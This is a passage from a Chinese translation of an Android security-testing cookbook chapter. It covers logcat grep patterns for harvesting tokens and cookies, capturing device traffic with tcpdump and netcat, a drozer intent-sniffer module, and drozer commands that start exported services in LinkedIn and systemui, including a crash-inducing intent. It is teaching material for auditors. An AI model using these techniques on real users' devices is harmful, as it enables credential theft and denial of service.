原文:
zh.annas-archive.org/md5/BE954DA99BB76B6D22AFE08F5BDE9A0C
译者:飞龙
第四章:利用应用程序
在本章中,我们将介绍以下内容:
-
通过 logcat 泄露信息
-
检查网络流量
-
通过活动管理器进行被动意图嗅探
-
攻击服务
-
攻击广播接收器
-
列举易受攻击的内容提供者
-
从易受攻击的内容提供者中提取数据
-
向内容提供者插入数据
-
列举易受 SQL 注入攻击的内容提供者
-
利用可调试的应用程序
-
对应用程序进行中间人攻击
引言
到目前为止,我们已经介绍了一些基本开发和安全评估工具,甚至还涵盖了扩展和定制这些工具的一些示例。本章将重点介绍如何使用这些工具分析 Android 应用程序,以识别漏洞并为它们开发利用程序。尽管如此,鉴于应用程序功能的任意性以及 Android 应用程序开发人员几乎无限的创造力,不难看出评估 Android 应用程序的安全性必须被视为一门艺术。对于作为安全审计师、分析师、顾问或爱好者的你来说,这意味着可以肯定,永远不会有一个完全自动化的方法来分析 Android 应用程序的安全性。几乎总是,你需要依赖自己的创造力和分析能力,为 Android 应用程序的安全性提供一个具体的评估。
在我们开始深入探讨一些应用程序之前,重要的是要明确 Android 应用程序的安全问题,定义一些目标,并列举应用程序的攻击面。在接下来的几节中,我们将讨论应用程序安全的一些通用目标以及为实现这些目标应该实施的控件。之所以讨论应用程序安全目标非常重要,是因为这有助于确保在评估应用程序安全性时,你拥有正确的心态和原则。同时,它也使得审核应用程序安全变得简单,只需验证这些控件的存在,然后开发利用这些控件缺失或不足的方法。
那么应用程序安全的目的是什么?
保护用户数据
应用程序常常被托付与用户相关的非常敏感的数据,以下是一些例子:
-
密码
-
认证令牌
-
联系人
-
通信记录
-
IP 地址或域名到敏感服务
如果每个应用程序有此倾向,其数据将被缓存,并且通常会明确地将用户内容保存在数据库、XML 文件或其他任何磁盘存储格式中;它们有自由使用所需的任何文件格式或存储机制。评估这些数据存储的安全性同样重要,就像评估和审计在线或基于云的数据库和信息存储机制一样,特别是由于应用程序中存储的信息可能影响网站和其他云服务的安全性。例如,如果攻击者从应用程序传播到云服务的认证凭据,他/她立即可以访问实际的云服务。同样考虑在线银行应用,以及这些应用存储的双重认证令牌以及它们的存储方式——短信收件箱?真的吗!
应用程序需要实施许多在线数据库所使用的控制措施,这些措施独立于 Android 操作系统所提供的;即确保以下属性的控制措施:
-
机密性
-
完整性
-
可用性
-
不可抵赖性
-
认证
我们将在后面的章节中讨论如何确保这些控制措施。现在,你需要集中精力理解的是,当这些控制措施不被执行时,用户所承担的风险。
保护应用彼此之间(隔离与权限分离)
应用程序通过 Android 沙盒受到保护,这意味着每个应用程序都被分配了一个用户 ID,本质上只能访问自己的资源。这是就 Android 中 Linux 部分而言的应用程序隔离的故事。Android 引入了一些自己的保护机制,以防止应用程序相互滥用组件和数据;最值得注意的是 Android 权限框架,它在应用程序级别上操作,并由应用程序中间件执行。它的存在是为了将 Linux 访问控制机制转换为应用程序级别,反之亦然。从更实际的角度来说,这意味着每次应用程序被授予一个权限,可能意味着相关的 UID 被分配了一个相应的 GID。例如,android.permission.INTERNET
权限被映射到 inet
组。任何被授予此权限的应用程序将被放置在 inet
组中。
应用通常由许多经典应用组件的实例组成,如服务、内容提供者、活动和广播接收器。为了保护这些组件免受恶意或任何非意图的损害,应用开发者必须与用户沟通并减轻他们的应用在服务和数据访问方面给用户带来的风险。应用开发者还应尊重这些资源的完整性。通过确保他们只请求必要的权限并且不过分要求被授予的权限,安全开发这两大原则可以通过权限框架来实施。关键是确保开发者遵循最小权限原则。通过确保访问给定应用的组件和数据需要正确的权限,并且只向整个系统提供必要的服务和组件,可以在一定程度上防止恶意应用,即在不必要时不要导出组件。
在分析应用对其数据和组件实施的隔离措施时,考虑访问它们所需的权限是非常重要的。获取这些权限是否容易?访问给定组件所需的权限是否被赋予了正确的保护级别?一个不好的例子是,仅使用android.permission.SEARCH
权限就能轻松搜索和获取用户银行对账单的应用。
保护敏感信息的通信
应用开发者保护应用存储的数据是不够的,他们还需要注意这些信息的通信方式。例如,考虑一个应用虽然安全地存储了用户数据,但却允许将其传达给未经授权的第三方。如果通信不安全,那么世界上所有的数据存储安全都毫无意义!
通信可以通过以下方式完成:
-
组件间通信:应用通常需要在其各自组件之间发送信息,例如,在广播接收器和活动之间。考虑到这种通信可能通过意图和意图过滤器来促进,并且意图过滤器的非排他性,未授权的应用可能以各种方式截取此通信。
-
应用间通信:应用之间的数据通信应以防止未授权应用篡改、截取或获取数据的方式进行。
-
跨设备通信:应用可能会利用 NFC、蓝牙、GMS 或 Wi-Fi 等通信媒介传输敏感数据。应用开发者必须采取适当的预防措施,确保以这种方式通信的数据的保密性、完整性和不可抵赖性。
因此,在审核应用程序的通信故障时,查看提供以下内容的控制措施非常重要:
-
接收和发起应用程序之间的身份验证
-
访问控制,防止未经授权的第三方/应用程序获取通信数据或控制通信流程
所以,希望你已经阅读了介绍,并对安全应用程序所期望的控制措施有了很好的了解;因为接下来,我将介绍如何验证这些控制措施是否已经实施,以及如何利用这些控制措施的缺失。
通过 logcat 信息泄露
Android 应用程序可能会固有地或由于有害影响而泄露敏感信息。当这种情况发生时,它被称为信息泄露漏洞。这个环节讲述了如何通过检查应用程序开发人员用作调试工具的 Android logcat 来检查应用程序潜在的敏感信息泄露。我们还将讨论如何利用 Android 内置的一个基准测试工具,使 logcat 检查更有成效。
准备工作
在我们开始之前,你需要以下内容:
-
一个通过 ADB 连接到你的机器的模拟器或 Android 设备,这将需要在你 Android 设备上启用 USB 调试
-
Android 调试桥(ADB)
在开始这个环节之前,你应该已经下载并更新了你的 Android SDK。你应该已经适当地设置了你的PATH
变量,或者你应该处于包含适当工具/二进制文件的工作目录中。
如何操作…
首先,让我们通过 ADB 启用调试。在 Windows 或 Linux 上执行以下命令:
adb logcat
这只有在您处于正确的的工作目录下才会起作用,对于 Linux 用户来说是 [path-to-sdk]/sdk/platform-tools/
,对于 Windows 用户来说是 [path-to-sdk]\sdk\platformtools\
。
这将输出一些软件和硬件级别事件的日志信息。自然地,我们希望将关注点放在我们正在检查安全漏洞的事件和应用程序上。幸运的是,logcat 能够筛选日志信息。以下是所有选项的详细说明:
adb logcat [options] [filter]
其中[options]
可以是以下任何一个——为了简洁和切中要点,我省略了一些:
-
-v <format>
:这个选项设置输出的格式;可能是brief
、process
、tag
、thread
、raw
、time
、threadtime
或long
-
-d
:这个选项会转存日志文件并退出
[filter]
是一个tag:priority
命令列表,下面将进行讨论:
-
tag
:它是标识日志组件的字符串。日志组件是输出日志的字符串。例如,如果日志输出如下所示:E/ClockAlarmWidget( 6590): [AlarmWidgetIdManager] getListItem()
ClockAlarmWidget
,在之前代码中高亮的部分将是日志组件标签。在/
之前的部分称为优先级。这里,优先级是Error
,由E
表示。 -
priority
:可以是以下任何一个:-
V, verbose
:它启用了详细日志记录 -
D, debug
:它启用了调试日志记录 -
I, Info
:它启用了信息目的的日志记录 -
W, Warn
:它启用了所有警告信息的日志记录 -
E, Error
:它启用了错误日志记录
-
例如,如果你想监控Error
级别优先级日志组件及更高级别的日志,你会使用以下命令:
adb logcat *:E
*
表示我们希望所有日志组件标签的Error
级别优先级。
另一个有效筛选日志的方法是将 logcat 输出转储到一个文本文件中,并使用grep
(大多数 Linux/Unix 发行版随附)或 Windows 用户的文本编辑器如 Notepad++进行搜索。Notepad++和grep
的下载页面链接在本食谱的另请参阅部分提供。对于 Windows 用户,如果你真的想进行一些基于强大正则表达式的匹配,有一个名为 WinGrep 的 Microsoft 版本的grep
。WinGrep 下载页面的链接也已在食谱的另请参阅部分提供。
一旦决定了如何搜索文本,只要你知道如何在日志中找到你要找的内容,实际上怎么做并不重要。你可以通过执行以下命令转储日志文件的输出:
adb logcat > output.txt
这同样适用于 Linux 终端或 Windows 命令提示符。你也可以将输出“管道化”——这意味着将一个程序的输出传递给另一个程序的输入——直接进入另一个程序,如下所示。这在 Windows 命令提示符或 Linux 终端中都可以工作。
adb logcat | [other program]
如果你使用grep
,你可以通过执行以下命令来完成:
adb logcat | grep [pattern]
其中[pattern]
是你搜索的文本模式,例如:
adb logcat | grep ApplicationManager
我真的不想在这里写一个关于如何使用grep
的完整教程。如果你想利用grep
或 WinGrep 更强大的功能,请查看本食谱的另请参阅部分。
这里有一些你可能觉得有用的例子;监控与网页相关的信息的日志文件:
adb logcat | grep [Cc]ookie
adb logcat | grep "http[s]*"
adb logcat | grep "ftp[s]*"
我知道这些例子不是非常严格,但它们足以匹配网页地址。
之前的日志是由三星 Galaxy S3 手机上的 Google Play 商店应用生成的。
你还可以尝试捕获通过日志文件泄露的一些登录或认证类型的令牌字符串:
adb logcat | grep –i "[\w\s_-]*token[\w\s_-]*"
在日志文件中寻找有价值的信息时,通常一个好主意是寻找那些否则需要权限才能获取的信息,或者直接导致你获得其他应用程序保护的信息的知识。例如,如果应用程序记录了用户登录他/她的 LinkedIn 个人资料后返回的 cookie 值,这会危险吗?
是的!实际上你刚刚绕过了需要知道他/她的 LinkedIn 密码的需求,或者你的应用程序需要被授予 LinkedIn 应用程序中某些身份验证功能的权限。在你阅读日志文件的时间里,你应该尽量关注查找这类信息。
案例证明!这里记录的 cookie 是由 Android LinkedIn 应用程序在 Galaxy S3 手机上有害地泄露的。在发现 Facebook Android SDK 中的主要安全漏洞中可以找到这种漏洞的另一个真实世界示例。相关链接在参见以下内容部分提供。
还有更多…
当然,应用程序通常是为了响应硬件或软件事件而开发的,可以通过广播接收器或其他应用程序或系统服务的意图来实现。自然而然地,你会想知道应用程序是如何响应这些事件的,或者它们在响应这类事件时的行为是否可能有害。那么问题来了,在不按下音量键、锁定和解锁屏幕、自己按键的情况下,你如何创建/发送这些事件给正在测试的应用程序呢?答案是 Android Monkey 测试框架。它旨在向应用程序发送系统和硬件级别的事件,以便开发者可以衡量应用程序处理这些事件的效率。它在某种程度上可以作为应用程序的设备事件“模糊测试”框架。
在解释如何使用它之前,重要的是要提到,对安装在个人 Android 设备上的应用程序运行 Monkey 测试可能不是一个好主意,无论是你的还是别人的。这是因为应用程序对 Monkey 测试的响应可能会导致被“猴子”的应用程序受损,导致应用程序数据丢失,甚至使手机崩溃。除非你有适当的权限或接受可能会丢失或损坏你正在测试的应用程序存储的数据,否则你只能在模拟器或专门用于安全测试的设备上进行此操作。
使用这个框架的一种方式是通过 ADB 连接一个设备,并通过命令提示符或终端执行以下命令:
adb shell monkey –p [package] –v [event count]
其中[package]
是你想要发送这些事件的包/应用程序的名称,[event count]
是你想要发送的随机事件的数量。以下是针对 Flipboard 应用程序使用它的一个例子:
adb shell monkey –p Flipboard.app –v 10
这将向 Flipboard 应用程序发送 10 个随机选择的事件,并报告应用程序的行为。
参见以下内容
-
安卓调试桥 - 启用 logcat 日志的网页,位于
developer.android.com/tools/help/adb.html#logcat
-
Vogella 教程 - 猴子测试的网页,位于
www.vogella.com/articles/AndroidTesting/article.html
-
*Notepad++*软件,位于
notepad-plus-plus.org/download/v6.3.3.html
-
安卓开发者 - logcat的网页,位于
developer.android.com/tools/help/logcat.html
-
WinGrep软件,位于
www.wingrep.com/download.htm
-
发现 Facebook 安卓 SDK 重大安全漏洞的网页,位于
blog.parse.com/2012/04/10/discovering-a-major-security-hole-in-facebooks-android-sdk/
-
安卓开发者 - 读写日志的网页,位于
developer.android.com/tools/debugging/debugging-log.html
检查网络流量
众所周知,应用程序可以利用安卓设备上可用的网络服务,许多应用程序被开发为基于云服务的界面。这意味着理解它如何与互联网服务通信是安全风险概况中非常重要的一部分——应用程序向其用户和设备暴露的风险集合。
在这个指南中,我将向你展示一些新颖的方法,你可以使用它们直接从安卓设备监控网络流量,使用的是一直很受欢迎的Wireshark。
准备工作
在我们开始之前,你需要在本地机器和安卓设备上安装一些工具。以下是你会需要获取的工具:
-
Wireshark:你可以在 Wireshark 网站下载它
www.wireshark.org
,Wireshark 支持 Linux/Unix 和 Windows 机器。在开始之前,你应该确保你的主机上已安装它。安装 Wireshark 非常简单;Wireshark 开发团队甚至为 Windows 和 Unix/Linux 发行版提供了一些非常有用的文档,可在www.wireshark.org/docs/wsug_html_chunked/ChapterBuildInstall.html
找到。 -
Netcat:Linux/Unix 用户可以在
netcat.sourceforge.net/download.php
下载它,Windows 用户可以在joncraton.org/blog/46/netcat-for-windows/
下载。Linux/Unix 用户可能不需要明确下载 Netcat,因为它已经包含在许多 Linux/Unix 发行版中。 -
适用于 Android 的 TCPdump:可以在
www.strazzere.com/android/tcpdump
下载。
如何操作…
一旦你设置好所有工具并准备就绪,你可以通过执行以下步骤来监控你的 Android 设备的流量:
-
假设你的 Android 设备已经获得 root 权限,你应该创建一个目录来存放你的 TCPdump 二进制文件,如下所示:
在 Android 设备上,通过 ADB 按照出现的顺序执行以下命令:
su mkdir /data/tcpdump/ chmod 755 /data/tcpdump/
然后在本地机器上,在你下载了适用于 Android 的 TCPdump 版本的文件夹中,执行以下命令:
adb push tcpdump /data/tcpdump/. adb shell chmod 755 /data/tcpdump/tcpdump
-
一旦将 TCPdump 的 Android 版本上传到设备并标记为可执行。你应该确保 Android 设备上可用 Netcat,尝试运行以下命令:
nc
这只是一个健全性检查,大多数 Android 版本默认都会安装 Netcat。如果没有,可以在 Google Source Android GitHub 仓库中找到带有 NDK Makefile 的适用于 Android 的版本,地址是
android.googlesource.com/platform/external/netcat/+/master
。要了解如何使用此 Makefile,请参考第八章中的跨编译本地可执行文件菜谱,本地利用与分析。 -
为了确保一切正常工作,在确认你的 Android 设备上已经安装了 TCPdump 和 Netcat 之后,你可以实际捕获一些网络流量并尝试执行以下命令:
./data/tcpdump/tcpdump –w - | nc –l –p 31337
如果一切正常,你应该会在屏幕上看到以下内容:
要查看一些实际输出,你可以尝试打开一个会向 Web 发送请求的应用程序或使用一些网络 API。
-
如果一切顺利,你应该能够将 TCPdump 的输出传递给本地设备上安装的 Wireshark。为此,你首先需要通过 ADB 设置一些端口转发,这是通过执行以下命令完成的:
adb forward tcp:12345 tcp:31337
-
一旦设置好端口转发,你就可以在本地机器上通过执行以下命令来使用 Netcat:
netcat 127.0.0.1 12345
-
这意味着所有流量都被正确转发。你应该能够将输出传递给 Wireshark,Wireshark 将对其进行解释,并便于进行深度数据包检查和其他有用的事情。要在本地机器上执行输出传递给 Wireshark 的命令,请执行以下操作:
adb forward tcp:12345 tcp:31337 && netcat 127.0.0.1 12345 | wireshark –k –S –i –
几秒钟后,如果一切正常,你应该会看到 Wireshark 启动。以下内容将显示在你的屏幕上:
工作原理…
在这个教程中,我们使用了 Netcat、Wireshark 和 TCPdump 直接从 Android 设备提取网络流量进行分析和深度包检查。鉴于在演练中对命令行参数和工具组合的解释非常少,这个教程详细说明了每个操作是如何执行以及为什么这样执行。
在第一步中,执行了以下命令以在 Android 设备上创建一个目录,用于承载 TCPdump 的安装:
su; mkdir /data/tcpdump/; chmod 755 /data/tcpdump/
su
命令代表Substitute User(SU),它允许我们获取 root 权限——这是在没有提供参数时su
的行为。我们使用su
假设的 root 权限包括能够修改和查看 Android 文件系统上的任何目录或文件。这是必需的,因为我们是在/data/
文件夹内创建tcpdump
目录。
执行su
之后,我们执行了带有参数/data/tcpdump/
的mkdir
命令,在/data/
文件夹下创建了tcpdump/
目录。
紧接着是chmod
命令——它是改变模式的缩写,参数为755
。它修改了/data/tcpdump
文件夹的访问模式,允许低权限用户访问tcpdump
路径。这是必需的,因为我们将会使用adb push
命令将tcpdump
二进制文件存储在此路径下。
创建了tcpdump
文件夹后,我们执行了以下命令:
adb push tcpdump /data/tcpdump/.
adb shell chmod 755 /data/tcpdump/tcpdump
这些命令确保了tcpdump
二进制文件存储在tcpdump
路径下。第一个命令将push
命令传递给adb
,参数为tcpdump
,这是适用于 Android 的 TCPdump 版本。您会注意到,在/data/tcpdump
文件夹下为tcpdump
二进制文件提供了一个点作为名称;这是确保被复制的文件在复制后保持其文件名的简写方式。这是显而易见的,因为我们从本地机器复制了一个名为tcpdump
的文件,在 Android 设备上也同样被命名为tcpdump
。
在push
命令之后是带有参数chmod 755 /data/tcpdump/tcpdump
的adb shell
命令,它改变了tcpdump
二进制文件的访问模式,允许低权限用户执行它。
在第二步中,我们使用了nc
命令——这是 Netcat 的缩写。这个工具作为与网络服务交互的多功能工具。在这个教程中,我们将使用它来读写网络连接中的数据。不带任何参数运行nc
会打印使用说明。这让我们可以确认nc
是否正常运行,并确认它实际上已经安装在 Android 设备上。
在第 3 步中,我们使用了带有–w
参数的tcpdump
,这允许我们指定一个文件进行写入,第二个参数确保输出会同时写入到终端屏幕。作为我们执行的命令的一部分,我们还指定了如下内容:| nc –l –p 31337
。在操作系统术语中,|
字符被称为管道,它将前一个程序的输出作为输入传递给管道后面的程序。Netcat 使用–l
参数被调用,这导致 Netcat 监听作为–p
命令行开关参数提供的端口上的连接。在这个上下文中,这意味着tcpdump
的原始二进制网络流量作为输入传递给 Netcat;这意味着它将从端口号码31337
输出这些原始流量。
在第 4 步中,我们使用了 ADB 的端口转发功能。它允许我们将 Android 设备上的一个端口(作为第二个参数tcp:12345
)与本地机器上的一个端口(作为第一个参数tcp:31337
)连接起来。你会注意到我们将端口12345
与端口31337
耦合,并告诉前一步的 Netcat 在端口31337
上监听连接。这样我们就可以通过本地机器上的端口31337
与 Netcat 实例进行交互。简单来说,Android 设备上的端口31337
变成了我们本地机器上的端口12345
。
在第 5 步中,我们使用参数127.0.0.1
启动了 Netcat,这是我们的本地机器的地址(称为环回地址),以及12345
,这是我们上一步转发的端口。这告诉 Netcat 连接到本地机器的端口12345
;由于端口12345
与 Android 设备上的端口31337
耦合,这意味着我们通过本地端口12345
的代理与端口31337
进行交互。这样做的结果是,我们可以从本地机器捕获传递到 Android 设备上 Netcat 的网络流量。
在第 6 步中,我们将所有与本地机器相关的命令组合在一起,以确保 Wireshark 获取原始二进制网络流量并为我们的解释。我们使用以下参数启动了 Wireshark:
-
–k
:根据 Wireshark 手册,此参数执行以下操作:-
立即开始捕获会话。如果指定了
-i
标志,捕获将使用指定的接口。 -
否则,Wireshark 会搜索接口列表,如果有非环回接口,则选择第一个非环回接口;如果没有非环回接口,则选择第一个环回接口。
-
如果没有接口,Wireshark 会报告错误并且不会开始捕获。
-
-
–S
:此参数指定快照长度,即每个数据包捕获的字节数。如果没有给出长度参数,则捕获整个数据包。 -
–i
:此参数指定了捕获数据包的输入来源。这里我们再次提供了 – 符号,告诉 Wireshark 从标准输入读取数据。这样做是因为 Wireshark 的输入是通过 Netcat 的管道传输给它的。
如果想要更有趣地使用这个想法,你可以尝试构建工具,通过在由 Android 设备产生的网络流量上运行入侵检测系统(IDS)或其他以安全为重点的网络监控工具(如 Snort),来分析 Android 流量中的活跃威胁。这个想法将非常适合进行恶意软件和漏洞分析。
另请参阅
通过活动管理器进行被动意图嗅探
想要广泛传播关于应用程序及其组件的信息,一个有效的方法是窃听应用程序间的通信。你可以通过请求活动管理器中最近意图的信息来实现这一点。
这个方法非常直接,正如你所发现的,如果你愿意编写一些 Python 脚本,可以通过 drozer(在第三章,Android 安全评估工具中介绍)来完成。iSec Partners 的团队开发了一个能够执行此操作的应用程序,以下食谱中讨论的 drozer 模块的大部分灵感都来自他们的应用。想要了解如何获取这个应用,请查看本食谱的另请参阅部分。
准备工作
在我们实际编写这个模块之前,我们需要对 drozer 代理进行一些修改,使其具有从活动管理器请求意图信息的必要权限。最简单的方法是通过其 AndroidManifest.xml
文件增加 drozer 请求的权限。这里,我将向你展示如何使用 Eclipse 来完成这个操作。
-
首先,你需要从以下网站获取 drozer 代理及其依赖项的副本:
-
TLS 支持网页
-
访问
github.com/mwrlabs/mwr-android
的Android utilities for drozer网页。
-
下载并保存到同一文件夹后,你可以打开 Eclipse 并将它们作为 Android 项目导入。对于每一个项目,在 Eclipse 打开后,导航到文件 | 导入。![准备就绪]
-
点击Android文件夹,然后选择Existing Android Code into Workspace,并点击Next。![准备就绪]
-
在这一点上,Eclipse 会要求你指定一个要导入的文件夹。你需要添加在第 1 步下载的文件夹之一。要选择文件夹,点击浏览…,文件选择对话框将会弹出。![准备就绪]
-
使用文件对话框,导航到下载 drozer 代理和依赖项的文件路径。你需要以这种方式添加它们。
确保以这种方式导入每个文件夹。否则,Eclipse 将无法成功构建 drozer 代理。
-
导入所有项目后,你需要编辑 drozer 代理的
AndroidManifest.xml
。你通过在 Eclipse 中双击drozer-agent project
文件夹中的AndroidManifest.xml
文件来进行编辑(确保在编辑前选择AndroidManifest.xml
标签,以便直接编辑 XML)。然后,输入以下行:<uses-permission android:name="android.permission.GET_TASKS"/>
如果步骤正确,
AndroidManifest.xml
文件应该看起来像以下截图:就这样!你刚刚为 drozer 代理添加了一个额外的权限。现在你可以将 drozer 代理导出为 APK 文件,上传到你的设备上,开始工作了。
请注意,在安装修改后的代理之前,你可能需要卸载设备上当前安装的 drozer 代理。
如何操作…
这样,drozer 代理的安装就完成了。现在我们可以开始开发意图嗅探模块了。
-
导航到你的 drozer 模块仓库;如果你还没有设置,请参考第三章中的编写一个 drozer 模块——一个设备枚举模块食谱,了解如何操作。进入模块仓库后,创建一个名为
ex.sniffer.intents
的文件,并输入以下内容(以下代码将包含在本书的代码仓库中):from drozer.modules import Module,common from drozer.modules import android class Intents(Module, common.PackageManager): name = "Dump recent intents to the console" description = "This module allows you to see the most recent intents that were sent, via the ActivityManager" examples = "run ex.sniffer.intents" author = "[your name]" date = "[the date]" license = "GNU GPL" path = ["ex","sniffer"] def execute(self,arguments): self.stdout.write("[*] initializing intent sniffer…\n") context = self.getContext() activityService = context.getSystemService("activity") self.stdout.write("[*] got system service ..\n") recentTasks = activityService.getRecentTasks(1000,1) self.stdout.write("[*] recentTasts Extracted..\n") list_length = recentTasks.size() self.stdout.write("[*] Extracted %s tasks ..\n" % (list_length)) for task in range(list_length): cur_task = recentTasks.get(task) cur_taskBaseIntent = cur_task.baseIntent self.stdout.write("\t[%d] %s\n" % (task,cur_taskBaseIntent.toString()))
-
完成后,通过执行以下命令将模块安装到 drozer 中:
dz> module install [path-to-module-repo]/ex.sniffer.intent
-
然后通过执行以下命令运行它:
dz> run ex.sniffer.intents
你应该会看到类似于以下截图的内容:
工作原理…
意图嗅探脚本实际上非常简单。下面我会分解它的操作原理以及它是如何实际嗅探到意图的。
意图嗅探器调用了Context.getSystemService()
方法,并传递了ACTIVITY_SERVICE
标志的标识符,它只是一个值为"activity"的字符串。这返回了ActivityManager
类的一个实例,使脚本能够与活动管理器交互,并调用如ActivityManager.getRecentTasks()
等方法。这个方法接收两个参数,第一个是一个整数,表示脚本希望从活动管理器接收的RecentTaskInfo
对象的最大数量;第二个是一个指定最近活动类型的标志。在这个例子中,脚本被编写为请求完整列表,不省略任何任务。我之所以这样编写脚本,是因为发送到启动每个最近任务的意图与RecentTaskInfo
对象捆绑在一起,作为一个名为RecentTaskInfo.baseIntent
的字段。然后脚本可以使用它来提取有关意图的一些有用信息,例如组件名称、标志、动作和类别。为了快速简便,脚本随后记录了对Intent.toString()
方法的调用,该方法仅将意图信息格式化为字符串并返回。
当然,你可以对意图信息进行更智能的解析。你甚至可以尝试找出是哪个包发出了原始调用。尽管这非常困难,但如果能完成,这将是一个非常有价值的 drozer 模块。
另请参阅
-
Intent Sniffer 安卓应用程序在
www.isecpartners.com/tools/mobile-security/intent-sniffer.aspx
-
Context.getSystemService(String name)
命令在developer.android.com/reference/android/content/Context.html#getSystemService%28java.lang.String%29
-
有关ActivityManager.RecentTaskInfo的参考资料在
developer.android.com/reference/android/app/ActivityManager.RecentTaskInfo.html
-
Intent参考资料在
developer.android.com/reference/android/content/Intent.html
攻击服务
服务可能看起来并不危险,并且它们坚持在后台工作。但它们是为了支持其他应用程序组件而开发的,并且可能执行非常敏感的操作,如登录在线个人资料、重置密码,甚至通过作为主机系统服务的代理来促进一些潜在危险的过程。无论如何,在应用程序评估期间,它们绝不能被忽视。
什么时候服务是脆弱的?当一个服务能被用来对用户进行滥用、提升另一个应用程序/用户的权限,或者用来提取敏感信息时,这个服务就是可被利用的。这意味着你需要能够与服务进行交互,这意味着它必须是可导出的,或者能从意图、文件或网络堆栈等消息格式中响应/接受输入。另一个需要考虑的是与服务交互需要什么类型的权限——它是否是一个潜在危险的服务,执行非常敏感的操作,或者可能被滥用导致应用程序甚至设备出现拒绝服务(DoS)状况(即攻击者通过强制服务停止工作或拒绝提供服务来阻止访问服务)!更不用说如果这个潜在危险的服务根本不需要任何权限,应用程序及其用户将会陷入多么糟糕的境地!
OWASP GoatDroid project. Try reading through this, and think about the possible dangers and risks for this setup:
<service android:name=".services.LocationService" >
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats. services.LocationService" />
</intent-filter>
</service>
</application>
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission. ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission. ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
</manifest>
我在这里突出了一些重要的区域。你应该注意到,名为.services.LocationService
的服务可能通过 GPS 服务或地理定位 API 确定用户的位置,而且启动时不需要任何权限!考虑到应用程序本身会被授予android.permission.ACCESS_COARSE_LOCATION
和android.permission.ACCESS_FINE_LOCATION
这两个权限,这意味着攻击者如果足够接近这个服务(可能是物理访问设备,或者在用户设备上安装了恶意应用程序),很有可能会未经授权使用这项服务。
上一个示例来自OWASPS GoatDroid项目,有关 GitHub 仓库的链接请参见另请参阅部分。
所以这就是从代码源头上看这个漏洞的样子,或者说从开发者/逆向工程师的角度来看。现在让我们实际使用 drozer 来攻击一些易受攻击的服务,并给你这个漏洞攻击者的视角。
如何操作…
下面是如何寻找一些易受攻击的服务的方法:
-
给定一个示例应用程序,找出哪些服务是可导出的。你可以通过 drozer 执行以下命令来实现:
dz> run app.service.info –-permission null
正如在上一章中我解释的,这个命令可以找到那些不需要任何权限的服务。
-
找到一批服务后,你可以使用以下命令来启动它们:
dz> run app.service.start –-action [ACTION] –-category [CATEGORY] –-data-uri [DATA-URI] –-component [package name] [component name] –-extra [TYPE KEY VALUE] –-mimetype [MIMETYPE]
作为一个简单的例子,以下是启动
com.linkedin.android
应用程序中一个服务的方法:dz> run app.service.start –-component com.linkedin.android com.linkedin.android.authenticator.AuthenticationService
在启动和停止这些服务时运行 logcat 总是一个好主意,以防它们可能会泄露一些关于它们操作方式的敏感信息,以及泄露一些认证凭据或其他有用的数据。
当然,如果你想通过意图向服务发送一些数据,你需要知道你针对的服务意图过滤器看起来是什么样子。而且,如果你还没有猜到,了解这些的最简单方式就是检查应用程序清单。如果你需要回顾如何做到这一点,请参考第二章《参与应用程序安全》中的检查 AndroidManifest.xml 文件部分。
-
你要寻找的 XML 代码大致如下所示:
<service android:name=".authenticator.AuthenticationService" android:exported="true"> <intent-filter> <action android:name="android.accounts.AccountAuthenitcator" /> </intent-filter> <meta-data android:name="android.accounts.AccountAuthenticator" android:resource="@xml/authenticator" /> </service>
AndroidManifest.xml file of the Android LinkedIn application.
-
要向此服务发送意图,你可以在 drozer 控制台执行以下命令:
dz> run app.service.start –-component com.linkedin.android com.linkedin.android.authenticator.AuthenitactionService –-action anroid.accounts.AccountAuthenitcator
顺便一提,一些服务可能会与本地库交互,并将意图接收的数据传递给 C/C++数据结构,如栈或基于堆的变量。在审计需要通过意图传递数据的服务安全性时,你应该始终尝试识别意图数据可能导致的任何潜在内存破坏漏洞。在检查其他应用程序组件类型是否存在漏洞时,请记住这一点,因为任何应用程序组件都可能引发这类漏洞。
当发送手工制作的意图时,一些默认的系统服务的行为会相当奇怪。考虑以下发送到com.android.systemui
的意图示例:
dz> run app.service.start –-component com.android.systemui com.android.systemui.PhoneSettingService
在三星 Galaxy S3 上的结果如下:
这是一个典型的拒绝服务(DoS)漏洞示例。系统 UI 服务没有预想到包含空元数据或额外数据字段的意图。因此,当发送不带额外数据的意图时,会导致空指针异常,整个服务随之崩溃。这个漏洞看起来可能不算严重,因为它只是一个 UI 服务。但如果关键的安全机制或与安全相关的服务的 UI 组件依赖于系统 UI 服务运行才能操作(例如,可能是锁屏或设置应用程序),这个简单的不带数据意图可能会引发非常复杂、风险相当高的漏洞。
为了帮助你了解这里的危险性,想象一下你的手机上安装了一个恶意应用程序,它不断地向你的系统 UI 服务发送有害意图。这导致它一次又一次地崩溃,屏幕上充满了弹窗和警告,有效地阻止了你对手机用户界面的交互。这将是一个相当讨厌的 bug,而且安装时不需要任何权限!
另请参阅
攻击广播接收器
广播接收器响应硬件和软件级别的事件;它们通过意图获取这些事件的提醒。通常,广播接收器可能会使用通过意图发送的信息来执行敏感操作,而且这种方式可能会受到恶意广播或接收的数据的影响。
在利用广播接收器时,挑战在于确定输入是否可信以及程度如何。为此,你可能需要对目标应用程序中的广播接收器的意图过滤器定义进行有效的模糊测试,或者如果你能弄到源代码,阅读实际代码,以找出接收器操作哪种类型的数据以及如何操作。
与之前的食谱一样,这里我们将看到一个经典易受攻击的广播接收器的示例。以下示例同样来自 OWASP GoatDroid 项目:
<receiver
android:name=".broadcastreceivers.SendSMSNowReceiver"
android:label="Send SMS" >
<intent-filter>
<action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS" />
</intent-filter>
</receiver>
</application>
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
</manifest>
代码中的关键问题是,这个应用程序将被授予android.permission.SEND_SMS
权限,同时其.SendSMSNowReceiver
易受攻击的接收器没有得到适当的权限保护,从而暴露给其他应用程序。
